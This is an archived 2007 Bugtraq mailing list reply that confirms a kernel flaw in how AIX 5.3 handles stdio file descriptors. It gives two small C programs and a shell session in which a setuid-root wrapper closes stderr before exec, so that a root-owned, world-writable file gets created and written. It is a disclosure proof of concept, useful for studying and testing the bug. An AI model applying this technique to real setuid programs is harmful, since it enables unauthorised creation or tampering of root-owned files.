bugtraq - Re: Re: Multiple OS kernel insecure handling of stdio file descriptor

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070830082000.23331.qmail@securityfocus.com>
Date: 30 Aug 2007 08:20:00 -0000
From: watercloud@...cus.org
To: bugtraq@...urityfocus.com
Subject: Re: Re: Multiple OS kernel  insecure handling of stdio file
 descriptor

I modify the test program, the line used "open" to :
int f=open("./bb",O_WRONLY | O_CREAT,0666);

Then tested it on AIX5300-05-05,It works ok,the bug exists now.

open("./bb",O_WRONLY | O_CREAT,0666);

-bash-3.00$ id
uid=202(cloud) gid=1(staff)
-bash-3.00$ oslevel -s
5300-05-05
-bash-3.00$ cat tt.c
#include<fcntl.h>
int main()
{
  int f=open("./bb",O_WRONLY | O_CREAT,0666);
  printf("euid=%i\n",geteuid());
  printf("f=%i\n",f);
  write(2,"hello\n",6);
}
-bash-3.00$ cat k.c
int main()
{
  close(2); //close 2 before call tt
  execl("./tt","./tt",0);
}
-bash-3.00$ ls -l k
-rwsr-xr-x   1 root     staff         58287 Jan  1 09:55 k
-bash-3.00$ ls -l tt
-rwxrwxrwx   1 cloud    staff         59457 Jan  1 10:24 tt
-bash-3.00$ ls -l bb
bb not found
-bash-3.00$ ./k
euid=0
f=2
-bash-3.00$ ls -l bb
-rw-rw-rw-   1 root     staff             6 Jan  1 10:27 bb
-bash-3.00$ cat bb
hello
-bash-3.00$